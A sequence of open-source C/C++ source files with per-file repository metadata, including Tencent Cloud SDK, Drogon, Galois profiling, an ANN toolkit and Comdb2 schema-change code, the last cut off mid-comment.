/* * Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef TENCENTCLOUD_TEM_V20210701_MODEL_DESCRIBERUNPODPAGE_H_ #define TENCENTCLOUD_TEM_V20210701_MODEL_DESCRIBERUNPODPAGE_H_ #include <string> #include <vector> #include <map> #include <tencentcloud/core/utils/rapidjson/document.h> #include <tencentcloud/core/utils/rapidjson/writer.h> #include <tencentcloud/core/utils/rapidjson/stringbuffer.h> #include <tencentcloud/core/AbstractModel.h> #include <tencentcloud/tem/v20210701/model/RunVersionPod.h> namespace TencentCloud { namespace Tem { namespace V20210701 { namespace Model { /** * 版本pod列表 */ class DescribeRunPodPage : public AbstractModel { public: DescribeRunPodPage(); ~DescribeRunPodPage() = default; void ToJsonObject(rapidjson::Value &value, rapidjson::Document::AllocatorType& allocator) const; CoreInternalOutcome Deserialize(const rapidjson::Value &value); /** * 获取分页下标 * @return Offset 分页下标 */ int64_t GetOffset() const; /** * 设置分页下标 * @param Offset 分页下标 */ void SetOffset(const int64_t& _offset); /** * 判断参数 Offset 是否已赋值 * @return Offset 是否已赋值 */ bool OffsetHasBeenSet() const; /** * 获取单页条数 * @return Limit 单页条数 */ int64_t GetLimit() const; /** * 设置单页条数 * @param Limit 单页条数 */ void SetLimit(const int64_t& _limit); /** * 判断参数 Limit 是否已赋值 * @return Limit 是否已赋值 */ bool LimitHasBeenSet() const; /** * 获取总数 * @return TotalCount 总数 */ int64_t GetTotalCount() const; /** * 设置总数 * @param TotalCount 总数 */ void SetTotalCount(const int64_t& _totalCount); /** * 判断参数 TotalCount 是否已赋值 * @return TotalCount 是否已赋值 */ bool TotalCountHasBeenSet() const; /** * 获取请求id * @return RequestId 请求id */ std::string GetRequestId() const; /** * 设置请求id * @param RequestId 请求id */ void SetRequestId(const std::string& _requestId); /** * 判断参数 RequestId 是否已赋值 * @return RequestId 是否已赋值 */ bool RequestIdHasBeenSet() const; /** * 获取条目 * @return PodList 条目 */ std::vector<RunVersionPod> GetPodList() const; /** * 设置条目 * @param PodList 条目 */ void SetPodList(const std::vector<RunVersionPod>& _podList); /** * 判断参数 PodList 是否已赋值 * @return PodList 是否已赋值 */ bool PodListHasBeenSet() const; private: /** * 分页下标 */ int64_t m_offset; bool m_offsetHasBeenSet; /** * 单页条数 */ int64_t m_limit; bool m_limitHasBeenSet; /** * 总数 */ int64_t m_totalCount; bool m_totalCountHasBeenSet; /** * 请求id */ std::string m_requestId; bool m_requestIdHasBeenSet; /** * 条目 */ std::vector<RunVersionPod> m_podList; bool m_podListHasBeenSet; }; } } } } #endif // !TENCENTCLOUD_TEM_V20210701_MODEL_DESCRIBERUNPODPAGE_H_
30.391061
116
0.421875
[ "vector", "model" ]
cf877a1bd4dc049b55052196c7b981390ace1f67
368
h
C
src/view/statusbar_view.h
icedman/tashlar
060ea52d311b8b818667fc5f0e5c8fef8d397ecb
[ "MIT" ]
null
null
null
src/view/statusbar_view.h
icedman/tashlar
060ea52d311b8b818667fc5f0e5c8fef8d397ecb
[ "MIT" ]
null
null
null
src/view/statusbar_view.h
icedman/tashlar
060ea52d311b8b818667fc5f0e5c8fef8d397ecb
[ "MIT" ]
null
null
null
#ifndef STATUSBAR_VIEW_H #define STATUSBAR_VIEW_H #include "view.h" #include "statusbar.h" struct statusbar_view_t : view_t { statusbar_view_t(); ~statusbar_view_t(); void update(int delta) override; void preLayout() override; void render() override; void applyTheme() override; bool isVisible() override; }; #endif // STATUSBAR_VIEW_H
19.368421
36
0.711957
[ "render" ]
cf88efd0931a32d41193b2bf42206c029a282c6e
2,558
h
C
lib/src/ListenerManager.h
Mu-L/drogon
b067771fa47dc7e3e9447f783a1bcf2bde334e2c
[ "MIT" ]
2
2020-12-28T07:12:04.000Z
2021-01-27T05:24:35.000Z
lib/src/ListenerManager.h
Mu-L/drogon
b067771fa47dc7e3e9447f783a1bcf2bde334e2c
[ "MIT" ]
null
null
null
lib/src/ListenerManager.h
Mu-L/drogon
b067771fa47dc7e3e9447f783a1bcf2bde334e2c
[ "MIT" ]
null
null
null
/** * * @file ListenerManager.h * @author An Tao * * Copyright 2018, An Tao. All rights reserved. * https://github.com/an-tao/drogon * Use of this source code is governed by a MIT license * that can be found in the License file. * * Drogon * */ #pragma once #include "impl_forwards.h" #include <trantor/utils/NonCopyable.h> #include <trantor/net/EventLoopThreadPool.h> #include <trantor/net/callbacks.h> #include <string> #include <vector> #include <memory> namespace trantor { class InetAddress; } namespace drogon { class ListenerManager : public trantor::NonCopyable { public: void addListener(const std::string &ip, uint16_t port, bool useSSL = false, const std::string &certFile = "", const std::string &keyFile = "", bool useOldTLS = false); std::vector<trantor::EventLoop *> createListeners( const HttpAsyncCallback &httpCallback, const WebSocketNewAsyncCallback &webSocketCallback, const trantor::ConnectionCallback &connectionCallback, size_t connectionTimeout, const std::string &globalCertFile, const std::string &globalKeyFile, size_t threadNum, const std::vector< std::function<HttpResponsePtr(const HttpRequestPtr &)>> &syncAdvices); void startListening(); std::vector<trantor::InetAddress> getListeners() const; ~ListenerManager(); trantor::EventLoop *getIOLoop(size_t id) const; void stopListening(); std::vector<trantor::EventLoop *> ioLoops_; private: struct ListenerInfo { ListenerInfo(const std::string &ip, uint16_t port, bool useSSL, const std::string &certFile, const std::string &keyFile, bool useOldTLS) : ip_(ip), port_(port), useSSL_(useSSL), certFile_(certFile), keyFile_(keyFile), useOldTLS_(useOldTLS) { } std::string ip_; uint16_t port_; bool useSSL_; std::string certFile_; std::string keyFile_; bool useOldTLS_; }; std::vector<ListenerInfo> listeners_; std::vector<std::shared_ptr<HttpServer>> servers_; std::vector<std::shared_ptr<trantor::EventLoopThread>> listeningloopThreads_; std::shared_ptr<trantor::EventLoopThreadPool> ioLoopThreadPoolPtr_; }; } // namespace drogon
28.422222
71
0.606333
[ "vector" ]
cf8cec9db1beee4a48277b8e141d4dfbc2bd530f
3,085
h
C
src/riscvsim/memory_hierarchy/memory_hierarchy.h
AswinNasiketh/marss-riscv
6ae53017cfec99bb8ae72abc825d07432db9dbbd
[ "MIT" ]
108
2019-08-19T18:03:50.000Z
2022-03-31T03:21:24.000Z
src/riscvsim/memory_hierarchy/memory_hierarchy.h
AswinNasiketh/marss-riscv
6ae53017cfec99bb8ae72abc825d07432db9dbbd
[ "MIT" ]
22
2019-08-22T15:19:25.000Z
2021-09-01T17:48:52.000Z
src/riscvsim/memory_hierarchy/memory_hierarchy.h
AswinNasiketh/marss-riscv
6ae53017cfec99bb8ae72abc825d07432db9dbbd
[ "MIT" ]
20
2019-08-18T18:24:50.000Z
2022-03-01T15:36:40.000Z
/** * Memory Hierarchy * * MARSS-RISCV : Micro-Architectural System Simulator for RISC-V * * Copyright (c) 2017-2020 Gaurav Kothari {gkothar1@binghamton.edu} * State University of New York at Binghamton * * Copyright (c) 2018-2019 Parikshit Sarnaik {psarnai1@binghamton.edu} * State University of New York at Binghamton * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef _MemoryHierarchy_H_ #define _MemoryHierarchy_H_ #include "../riscv_sim_typedefs.h" #include "../utils/sim_log.h" #include "../utils/sim_params.h" #include "cache.h" #include "memory_controller.h" /* Memory hierarchy to simulate the delays, We do not model the actual data * in the hierarchy for simplicity, but just the addresses for simulating * the delays.*/ typedef struct MemoryHierarchy { MemoryController *mem_controller; Cache *icache; Cache *dcache; Cache *l2_cache; Cache *page_walk_cache; SimParams *p; /* If caches are enabled */ int cache_line_size; /* Pointers are set based on whether caches are enabled or disabled */ int (*insn_read_delay)(struct MemoryHierarchy *mmu, target_ulong paddr, int bytes, int cpu_stage_id, int priv); int (*data_read_delay)(struct MemoryHierarchy *mmu, target_ulong paddr, int bytes, int cpu_stage_id, int priv); int (*data_write_delay)(struct MemoryHierarchy *mmu, target_ulong paddr, int bytes, int cpu_stage_id, int priv); /* Page table entries read/write delays are simulated via Data Cache, if * found, else directly sent to memory */ int (*pte_read_delay)(struct MemoryHierarchy *mmu, target_ulong paddr, int bytes, int cpu_stage_id, int priv); int (*pte_write_delay)(struct MemoryHierarchy *mmu, target_ulong paddr, int bytes, int cpu_stage_id, int priv); } MemoryHierarchy; MemoryHierarchy *memory_hierarchy_init(const SimParams *p, SimLog *log); void memory_hierarchy_free(MemoryHierarchy **mmu); #endif
42.260274
80
0.720259
[ "model" ]
cf9167d969c9cf8175f7a796bc78c3c388c1c54e
6,356
h
C
libgalois/include/galois/runtime/Profile.h
bigwater/Galois
03738c883301844cfb15a71647744a59184f43c0
[ "BSD-3-Clause" ]
230
2018-06-20T22:18:31.000Z
2022-03-27T13:09:59.000Z
libgalois/include/galois/runtime/Profile.h
bigwater/Galois
03738c883301844cfb15a71647744a59184f43c0
[ "BSD-3-Clause" ]
307
2018-06-23T12:45:31.000Z
2022-03-26T01:54:38.000Z
libgalois/include/galois/runtime/Profile.h
bigwater/Galois
03738c883301844cfb15a71647744a59184f43c0
[ "BSD-3-Clause" ]
110
2018-06-19T04:39:16.000Z
2022-03-29T01:55:47.000Z
/* * This file belongs to the Galois project, a C++ library for exploiting * parallelism. The code is being released under the terms of the 3-Clause BSD * License (a copy is located in LICENSE.txt at the top-level directory). * * Copyright (C) 2018, The University of Texas at Austin. All rights reserved. * UNIVERSITY EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES CONCERNING THIS * SOFTWARE AND DOCUMENTATION, INCLUDING ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR ANY PARTICULAR PURPOSE, NON-INFRINGEMENT AND WARRANTIES OF * PERFORMANCE, AND ANY WARRANTY THAT MIGHT OTHERWISE ARISE FROM COURSE OF * DEALING OR USAGE OF TRADE. NO WARRANTY IS EITHER EXPRESS OR IMPLIED WITH * RESPECT TO THE USE OF THE SOFTWARE OR DOCUMENTATION. Under no circumstances * shall University be liable for incidental, special, indirect, direct or * consequential damages or loss of profits, interruption of business, or * related expenses which may arise from use of Software or Documentation, * including but not limited to those resulting from defects in Software and/or * Documentation, or loss or inaccuracy of data of any kind. */ #ifndef GALOIS_RUNTIME_PROFILE_H #define GALOIS_RUNTIME_PROFILE_H #include <cstdlib> #ifdef GALOIS_ENABLE_VTUNE #include "ittnotify.h" #endif #ifdef GALOIS_ENABLE_PAPI extern "C" { #include <papi.h> #include <papiStdEventDefs.h> } #endif #include "galois/config.h" #include "galois/Galois.h" #include "galois/gIO.h" #include "galois/Timer.h" namespace galois::runtime { #ifdef GALOIS_ENABLE_VTUNE template <typename F> void profileVtune(const F& func, const char* region) { region = region ? region : "(NULL)"; GALOIS_ASSERT( galois::substrate::ThreadPool::getTID() == 0, "profileVtune can only be called from master thread (thread 0)"); __itt_resume(); timeThis(func, region); __itt_pause(); } #else template <typename F> void profileVtune(const F& func, const char* region) { region = region ? region : "(NULL)"; galois::gWarn("Vtune not enabled or found"); timeThis(func, region); } #endif #ifdef GALOIS_ENABLE_PAPI namespace internal { unsigned long papiGetTID(void); template <typename __T = void> void papiInit() { /* Initialize the PAPI library */ int retval = PAPI_library_init(PAPI_VER_CURRENT); if (retval != PAPI_VER_CURRENT && retval > 0) { GALOIS_DIE("PAPI library version mismatch: ", retval, " != ", PAPI_VER_CURRENT); } if (retval < 0) { GALOIS_DIE("initialization error!"); } if ((retval = PAPI_thread_init(&papiGetTID)) != PAPI_OK) { GALOIS_DIE("PAPI thread init failed"); } } template <typename V1, typename V2> void decodePapiEvents(const V1& eventNames, V2& papiEvents) { for (size_t i = 0; i < eventNames.size(); ++i) { char buf[256]; std::strcpy(buf, eventNames[i].c_str()); if (PAPI_event_name_to_code(buf, &papiEvents[i]) != PAPI_OK) { GALOIS_DIE("failed to recognize eventName = ", eventNames[i], ", event code: ", papiEvents[i]); } } } template <typename V1, typename V2, typename V3> void papiStart(V1& eventSets, V2& papiResults, V3& papiEvents) { galois::on_each([&](const unsigned tid, const unsigned numT) { if (PAPI_register_thread() != PAPI_OK) { GALOIS_DIE("failed to register thread with PAPI"); } int& eventSet = *eventSets.getLocal(); eventSet = PAPI_NULL; papiResults.getLocal()->resize(papiEvents.size()); if (PAPI_create_eventset(&eventSet) != PAPI_OK) { GALOIS_DIE("failed to init event set"); } if (PAPI_add_events(eventSet, papiEvents.data(), papiEvents.size()) != PAPI_OK) { GALOIS_DIE("failed to add events"); } if (PAPI_start(eventSet) != PAPI_OK) { GALOIS_DIE("failed to start PAPI"); } }); } template <typename V1, typename V2, typename V3> void papiStop(V1& eventSets, V2& papiResults, V3& eventNames, const char* region) { galois::on_each([&](const unsigned tid, const unsigned numT) { int& eventSet = *eventSets.getLocal(); if (PAPI_stop(eventSet, papiResults.getLocal()->data()) != PAPI_OK) { GALOIS_DIE("PAPI_stop failed"); } if (PAPI_cleanup_eventset(eventSet) != PAPI_OK) { GALOIS_DIE("PAPI_cleanup_eventset failed"); } if (PAPI_destroy_eventset(&eventSet) != PAPI_OK) { GALOIS_DIE("PAPI_destroy_eventset failed"); } assert(eventNames.size() == papiResults.getLocal()->size() && "Both vectors should be of equal length"); for (size_t i = 0; i < eventNames.size(); ++i) { galois::runtime::reportStat_Tsum(region, eventNames[i], (*papiResults.getLocal())[i]); } if (PAPI_unregister_thread() != PAPI_OK) { GALOIS_DIE("failed to un-register thread with PAPI"); } }); } template <typename C> void splitCSVstr(const std::string& inputStr, C& output, const char delim = ',') { std::stringstream ss(inputStr); for (std::string item; std::getline(ss, item, delim);) { output.push_back(item); } } } // end namespace internal template <typename F> void profilePapi(const F& func, const char* region) { const char* const PAPI_VAR_NAME = "GALOIS_PAPI_EVENTS"; region = region ? region : "(NULL)"; std::string eventNamesCSV; if (!galois::substrate::EnvCheck(PAPI_VAR_NAME, eventNamesCSV) || eventNamesCSV.empty()) { galois::gWarn( "No Events specified. Set environment variable GALOIS_PAPI_EVENTS"); galois::timeThis(func, region); return; } internal::papiInit(); std::vector<std::string> eventNames; internal::splitCSVstr(eventNamesCSV, eventNames); std::vector<int> papiEvents(eventNames.size()); internal::decodePapiEvents(eventNames, papiEvents); galois::substrate::PerThreadStorage<int> eventSets; galois::substrate::PerThreadStorage<std::vector<long_long>> papiResults; internal::papiStart(eventSets, papiResults, papiEvents); galois::timeThis(func, region); internal::papiStop(eventSets, papiResults, eventNames, region); } #else template <typename F> void profilePapi(const F& func, const char* region) { region = region ? region : "(NULL)"; galois::gWarn("PAPI not enabled or found"); timeThis(func, region); } #endif } // namespace galois::runtime #endif
27.27897
79
0.684707
[ "vector" ]
cf96ce282d0b708e14eb9bd15a93e3a9757fed80
344
h
C
DirectX11-ModelViewer/BoneTransformInspector.h
Ym39/DirectX11-ModelViewer
7772df37e6dddf49f0e49856336c9fdb50ff1d68
[ "MIT" ]
null
null
null
DirectX11-ModelViewer/BoneTransformInspector.h
Ym39/DirectX11-ModelViewer
7772df37e6dddf49f0e49856336c9fdb50ff1d68
[ "MIT" ]
null
null
null
DirectX11-ModelViewer/BoneTransformInspector.h
Ym39/DirectX11-ModelViewer
7772df37e6dddf49f0e49856336c9fdb50ff1d68
[ "MIT" ]
null
null
null
#pragma once #include "Imgui/imgui.h" #include "Imgui/imgui_impl_win32.h" #include "Imgui/imgui_impl_dx11.h" #include "GameObject.h" class BoneTransformInspector { public: BoneTransformInspector() = default; ~BoneTransformInspector() = default; void Render(GameObject* renderObj); private: int mCurrentBoneIndex = 0; };
19.111111
38
0.729651
[ "render" ]
5ca241973e64aae1f3554a80d59f175100166de9
6,055
h
C
DeepLearningToolKit/Toolkit/ML/NeuralNetwork/cArtificialNeuralNetworkAlgorithm.h
zxyinz/DeepLearningForBlueShark
025206aa7450b7ec86ebab9ca2bbcabe4421af91
[ "MIT" ]
null
null
null
DeepLearningToolKit/Toolkit/ML/NeuralNetwork/cArtificialNeuralNetworkAlgorithm.h
zxyinz/DeepLearningForBlueShark
025206aa7450b7ec86ebab9ca2bbcabe4421af91
[ "MIT" ]
null
null
null
DeepLearningToolKit/Toolkit/ML/NeuralNetwork/cArtificialNeuralNetworkAlgorithm.h
zxyinz/DeepLearningForBlueShark
025206aa7450b7ec86ebab9ca2bbcabe4421af91
[ "MIT" ]
null
null
null
#include"../../Core/SanTypes.h" #include"../../Core/SanMathematics.h" #include"../cDataSet.h" using namespace std; #pragma once namespace San { namespace MachineLearning { #ifndef __CARTIFICIALNEURALNETWORKALGORITHM_H__ #define __CARTIFICIALNEURALNETWORKALGORITHM_H__ typedef sfloat(*ANNFEATUREUPDATEFUNC)(SANSTREAM&); struct ANNFEATURE { SString strFeatureName; SANSTREAM UserParam; ANNFEATUREUPDATEFUNC UpdateFunc; }; struct ANNWEIGHTPAIR { public: sfloat x; sfloat w; public: ANNWEIGHTPAIR(const sfloat x = 0.0, const sfloat w = 0.0) :x(x), w(w){}; ANNWEIGHTPAIR(const ANNWEIGHTPAIR &WeightPair) : x(WeightPair.x), w(WeightPair.w){}; ~ANNWEIGHTPAIR(){}; }; struct ANNNODE { public: uint32 NodeID; vector<ANNWEIGHTPAIR> WeightVector; sfloat PrevDelta; sfloat CurrentDelta; sfloat SigmoidOutput; //uint32 BinomialOutput; sfloat VisibleBias; // For deep learning, RBM sfloat HiddenBias; // For deep learning, RBM public: ANNNODE(){}; ~ANNNODE(){}; ANNWEIGHTPAIR& operator[](const uint32 Index) { return this->WeightVector[Index]; }; const ANNWEIGHTPAIR& operator[](const uint32 Index) const { return this->WeightVector[Index]; } }; struct ANNLAYER { public: uint32 LayerID; vector<ANNNODE> NodeArray; public: ANNLAYER(){}; ~ANNLAYER(){}; ANNNODE& operator[](const uint32 Index) { return NodeArray[Index]; }; const ANNNODE& operator[](const uint32 Index) const { return NodeArray[Index]; }; }; typedef _dataset<vector<sfloat>,vector<sfloat>> ANNTRAININGSET; typedef _dataset<ANNTRAININGSET::const_iterator, vector<sfloat>> ANNTRAININGSET_IT; class cArtificialNeuralNetworkAlgorithm { protected: vector<ANNFEATURE> m_FeatureArray; // Feature update function array, update the input layer values vector<ANNLAYER> m_LayerArray; // ID = 0, Input Layer, contain all the input values which updated by Feature update function // ID = size() - 1, Output Layer vector<vector<ANNLAYER>> m_HistoryList; // Layer history, for validation use, contain all the history from 0-state ~ (current - 1)-state sfloat m_LearningRate; sfloat m_MomentumValue; sfloat m_RandomBoundary[2]; // The boundary of random initialize value, default -0.05 ~ 0.05 protected: void _ResetNeuralNetwork(); sfloat _CalcSigmoidValue(const sfloat Net) const; sfloat _GenerateRandomValue() const; ANNLAYER _GetHiddenLayer(const uint32 LayerID) const; //For incremental learning public: cArtificialNeuralNetworkAlgorithm(const sfloat LearningRate = 0.1, const sfloat MomentumValue = 0.0, const sfloat RandomMinBoundary = -0.05, const sfloat RandomMaxBoundary = 0.05); ~cArtificialNeuralNetworkAlgorithm(); /* Feature operation functions, the FeatureUnpdateFunc is for ANN class update the feature value automatically - using in iPredict() function */ bool iCreateFeatureNode(const SString &strFeatureName, const SANSTREAM &UserParam, const ANNFEATUREUPDATEFUNC FeatureUpdateFunc); bool iUpdateFeatureNode(const SString &strFeatureName, const SANSTREAM &UserParam, const ANNFEATUREUPDATEFUNC FeatureUpdateFunc); void iReleaseFeatureNode(const SString &strFeatureName); /* Layer operation function, the last layer user created is deemed to output layer */ uint32 iCreateLayer(const uint32 NodeNumber); bool iResizeLayer(const uint32 LayerID, const uint32 NodeNumber); bool iInitializeLayer(const uint32 LayerID, const vector<vector<sfloat>> InitValue = vector<vector<sfloat>>(0)); void iReleaseLayer(const uint32 LayerID); /* Learning param operation functions */ bool iUpdateLearningRate(const sfloat Rate); bool iUpdateMomentumValue(const sfloat Momentum); bool iUpdateRandomBoundary(const sfloat RandomMinBoundary, const sfloat RandomMaxBoundary); sfloat iGetLearningRate() const; sfloat iGetMomentumValue() const; vector<sfloat> iGetRandomBoundary() const; /* Training the artificial neural network, this function will generate the layer history */ /* and the layer history will continue exit unitl the function iPruning or iClearHistory be called */ /* TrainingTimes: iteration times */ void iTraining(const ANNTRAININGSET &TrainingSet, const uint32 TrainingTimes = 1, const sfloat MinWeightChanges = 0.001, const sfloat MinErrorRate = 0.001, const bool bGenerateHistory = true); /* Training and pruning at the same time, this function will not generate any layer histiry */ /* should be faster than iTraining function */ void iTrainingWithValidation(const ANNTRAININGSET &TrainingSet, const ANNTRAININGSET &ValidationSet, const uint32 TrainingTimes = 1, const sfloat MinWeightChanges = 0.001, const sfloat MinErrorRate = 0.001); /* Predict the output with given input array, the input array size should same as the input layer unit size */ void iPredict(const vector<sfloat> &InputArray, const int32 Index = -1); /*Predict, not change the network value, slower than iPredict*/ vector<sfloat> iPredictC(const vector<sfloat> &InputArray, const int32 Index = -1) const; /* Predict the output with automatically generate the input array, the FeatureUpdateFunc should not be an nullptr */ void iPredict(const int32 Index = -1); /* Update the hidden unit and output unit weight by training output array */ /* the training output array size should equal with output layer size */ pair<sfloat,sfloat> iFeedback(const vector<sfloat> &TrainingOutputArray); /* Pruning the artificial neural network with the given training set and validation set */ void iPruning(const ANNTRAININGSET &ValidationSet); /* Reset all the hiddenlayer and output layer weight by random values(re-initialize) */ void iReset(); /* Clear the layer history */ void iClearHistory(); vector<sfloat> iGetOutputArray() const; SString iPrintNeuralNetwork() const; }; //typedef cArtificialNeuralNetworkAlgorithm cANNAlgorithm; #endif } }
38.814103
210
0.740545
[ "vector" ]
5ca3b12aa9330352e25aee6650bbc75cf53917eb
20,502
c
C
schemachange/sc_global.c
chands10/comdb2
05a19e8d933e8a60f5fb6e17e81d9e0ee0bb44e6
[ "Apache-2.0" ]
null
null
null
schemachange/sc_global.c
chands10/comdb2
05a19e8d933e8a60f5fb6e17e81d9e0ee0bb44e6
[ "Apache-2.0" ]
null
null
null
schemachange/sc_global.c
chands10/comdb2
05a19e8d933e8a60f5fb6e17e81d9e0ee0bb44e6
[ "Apache-2.0" ]
null
null
null
/* Copyright 2015, 2017, Bloomberg Finance L.P. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include <unistd.h> #include <ctrace.h> #include "schemachange.h" #include "sc_global.h" #include "logmsg.h" #include "sc_callbacks.h" #include "bbinc/cheapstack.h" #include "crc32c.h" #include "comdb2_atomic.h" #include <assert.h> #include <plhash.h> pthread_mutex_t schema_change_in_progress_mutex = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t fastinit_in_progress_mutex = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t schema_change_sbuf2_lock = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t csc2_subsystem_mtx = PTHREAD_MUTEX_INITIALIZER; static int gbl_schema_change_in_progress = 0; volatile int gbl_lua_version = 0; int gbl_default_livesc = 1; int gbl_default_plannedsc = 1; int gbl_default_sc_scanmode = SCAN_PARALLEL; static hash_t *sc_tables = NULL; pthread_mutex_t ongoing_alter_mtx = PTHREAD_MUTEX_INITIALIZER; hash_t *ongoing_alters = NULL; pthread_mutex_t sc_resuming_mtx = PTHREAD_MUTEX_INITIALIZER; struct schema_change_type *sc_resuming = NULL; /* async ddl sc */ pthread_mutex_t sc_async_mtx = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t sc_async_cond = PTHREAD_COND_INITIALIZER; volatile int sc_async_threads = 0; /* Throttle settings, which you can change with message traps. Note that if * you have gbl_sc_usleep=0, the important live writer threads never get to * run. */ int gbl_sc_usleep = 1000; int gbl_sc_wrusleep = 0; /* When the last write came in. Live schema change thread needn't sleep * if the database is idle. */ int gbl_sc_last_writer_time = 0; /* updates/deletes done behind the cursor since schema change started */ pthread_mutex_t gbl_sc_lock = PTHREAD_MUTEX_INITIALIZER; int gbl_sc_report_freq = 15; /* seconds between reports */ int gbl_sc_abort = 0; uint32_t gbl_sc_resume_start = 0; /* see sc_del_unused_files() and sc_del_unused_files_check_progress() */ int sc_del_unused_files_start_ms = 0; int gbl_sc_del_unused_files_threshold_ms = 30000; int gbl_sc_commit_count = 0; /* number of schema change commits - these can render a backup unusable */ int gbl_pushlogs_after_sc = 1; int rep_sync_save; int log_sync_save; int log_sync_time_save; static int stopsc = 0; /* stop schemachange, so it can resume */ inline int is_dta_being_rebuilt(struct scplan *plan) { if (!plan) return 1; if (!gbl_use_plan) return 1; if (plan->dta_plan) return 1; return 0; } int gbl_verbose_set_sc_in_progress = 0; static pthread_mutex_t gbl_sc_progress_lk = PTHREAD_MUTEX_INITIALIZER; int get_stopsc(const char *func, int line) { int ret; Pthread_mutex_lock(&gbl_sc_progress_lk); ret = stopsc; Pthread_mutex_unlock(&gbl_sc_progress_lk); if (gbl_verbose_set_sc_in_progress) { logmsg(LOGMSG_USER, "%s line %d %s returning %d\n", func, line, __func__, ret); } return ret; } void comdb2_cheapstack_sym(FILE *f, char *fmt, ...); static int increment_schema_change_in_progress(const char *func, int line) { int val = 0, didit = 0; Pthread_mutex_lock(&gbl_sc_progress_lk); if (stopsc) { logmsg(LOGMSG_ERROR, "%s line %d ignoring in-progress\n", func, line); } else { val = (++gbl_schema_change_in_progress); didit = 1; } Pthread_mutex_unlock(&gbl_sc_progress_lk); if (gbl_verbose_set_sc_in_progress) { if (didit) { comdb2_cheapstack_sym(stderr, "Incrementing sc"); logmsg(LOGMSG_USER, "%s line %d %s incremented to %d\n", func, line, __func__, val); } else { logmsg(LOGMSG_USER, "%s line %d %s stopsc ignored increment (%d)\n", func, line, __func__, val); } } return (didit == 0); } static int decrement_schema_change_in_progress(const char *func, int line) { int val; Pthread_mutex_lock(&gbl_sc_progress_lk); val = (--gbl_schema_change_in_progress); if (gbl_schema_change_in_progress < 0) { logmsg(LOGMSG_FATAL, "%s:%d gbl_sc_ip is %d\n", func, line, gbl_schema_change_in_progress); abort(); } Pthread_mutex_unlock(&gbl_sc_progress_lk); if (gbl_verbose_set_sc_in_progress) { comdb2_cheapstack_sym(stderr, "Decremented sc"); logmsg(LOGMSG_USER, "%s line %d %s decremented to %d\n", func, line, __func__, val); } return 0; } int get_schema_change_in_progress(const char *func, int line) { int val, stopped = 0; Pthread_mutex_lock(&gbl_sc_progress_lk); stopped = stopsc; val = gbl_schema_change_in_progress; if (gbl_schema_change_in_progress < 0) { logmsg(LOGMSG_FATAL, "%s:%d negative sc_in_progress\n", func, line); abort(); } Pthread_mutex_unlock(&gbl_sc_progress_lk); if (gbl_verbose_set_sc_in_progress) { logmsg(LOGMSG_USER, "%s line %d %s returning %d stopsc is %d\n", func, line, __func__, val, stopped); } return val; } const char *get_sc_to_name(const char *name) { static char pref[256] = {0}; static int preflen = 0; if (!pref[0]) { int bdberr; bdb_get_new_prefix(pref, sizeof(pref), &bdberr); preflen = strlen(pref); } if (get_schema_change_in_progress(__func__, __LINE__)) { if (strncasecmp(name, pref, preflen) == 0) return name + preflen; } return NULL; } void wait_for_sc_to_stop(const char *operation, const char *func, int line) { Pthread_mutex_lock(&gbl_sc_progress_lk); if (stopsc) { logmsg(LOGMSG_INFO, "%s:%d stopsc already set for %s\n", func, line, operation); } else { logmsg(LOGMSG_INFO, "%s:%d set stopsc for %s\n", func, line, operation); stopsc = 1; } Pthread_mutex_unlock(&gbl_sc_progress_lk); logmsg(LOGMSG_INFO, "%s: set stopsc for %s\n", __func__, operation); int waited = 0; while (get_schema_change_in_progress(func, line)) { if (waited == 0) { logmsg(LOGMSG_INFO, "giving schemachange time to stop\n"); } sleep(1); waited++; if (waited > 10) logmsg(LOGMSG_ERROR, "%s: waiting schema changes to stop for: %ds\n", operation, waited); if (waited > 60) { logmsg(LOGMSG_FATAL, "schema changes take too long to stop, waited %ds\n", waited); abort(); } } logmsg(LOGMSG_INFO, "proceeding with %s (waited for: %ds)\n", operation, waited); extern int gbl_test_sc_resume_race; if (gbl_test_sc_resume_race) { logmsg(LOGMSG_INFO, "%s: sleeping 5s to test\n", __func__); sleep(5); } } void allow_sc_to_run(void) { stopsc = 0; logmsg(LOGMSG_INFO, "%s: allow sc to run\n", __func__); } typedef struct { char *tablename; uint64_t seed; uint32_t host; /* crc32 of machine name */ time_t time; uint32_t logical_lwm; char mem[1]; } sc_table_t; static int freesc(void *obj, void *arg) { sc_table_t *sctbl = (sc_table_t *)obj; free(sctbl); return 0; } /* Atomically set the schema change running status, and mark it in glm for * the schema change in progress dbdwn alarm. * * The seed was a silly idea to stop imaginary race conditions on the * replicants. I'm not sure what race conditions I was thinking of at 